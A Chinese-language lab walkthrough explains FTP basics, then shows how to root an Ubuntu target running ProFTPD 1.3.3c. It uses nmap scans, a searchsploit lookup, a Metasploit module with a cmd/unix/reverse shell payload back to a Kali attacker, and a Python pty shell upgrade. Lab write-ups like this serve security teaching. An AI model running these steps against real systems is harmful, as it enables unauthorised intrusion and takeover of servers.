Background
文件传输协议(File Transfer Protocol,FTP)是用于在网络上进行文件传输的一套标准协议,它工作在 OSI 模型的第七层, TCP 模型的第四层, 即应用层, 使用 TCP 传输而不是 UDP, 客户在和服务器建立连接前要经过一个“三次握手”的过程, 保证客户与服务器之间的连接是可靠的, 而且是面向连接, 为数据传输提供可靠保证。
FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而, 用户并不真正登录到自己想要存取的计算机上面而成为完全用户, 可用FTP程序访问远程资源, 实现用户往返传输文件、目录管理以及访问电子邮件等等, 即使双方计算机可能配有不同的操作系统和文件存储方式。
FTP端口号是:21
默认情况下FTP协议使用TCP端口中的 20和21这两个端口,其中20用于传输数据,21用于传输控制信息。
但有时数据端口不一定是20,这和FTP的应用模式有关,如果是主动模式,应该为20,如果为被动模式,由服务器端和客户端协商而定。
实验环境
- 攻击机 Kali: 192.168.0.106
- 靶机 Ubuntu: 192.168.0.105
目的: 获取靶机root权限
信息探测
扫描主机服务信息以及服务版本
1 | nmap -sV 靶场IP地址 |
快速扫描主机全部信息
1 | nmap -T4 -A -v 靶场IP |
发现靶机开放了ftp服务,并且有相应的版本信息。
(ProFTPD:一个Unix平台上或是类Unix平台上(如Linux, FreeBSD等)的FTP服务器程序。)
发现漏洞
- 分析nmap扫描结果,挖掘可以利用的信息;
- 使用seachsploit,查看漏洞信息,找到可利用的溢出代码;
1
root@kali:~# searchsploit ProFTPD 1.3.3c
发现ProFTPD 1.3.3c存在漏洞,并且在msf中集成了可用的EXP;
msf利用漏洞
1 | msf5 > search ProFTPD 1.3.3c //搜索可用的模块 |
查询是否有可利用的模块
使用模块,并查询可用的payload
设置payload(cmd/unix/reverse),查看需要填写的配置项
设置IP地址
发送利用代码
因为交互的方式对用户不是很友好,可用python进行优化
输入以下命令
1 | python -c "import pty;pty.spawn('/bin/bash')" |
总结
- 对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞利用代码;
- 对于系统,一定要注意利用现成的EXP来root主机;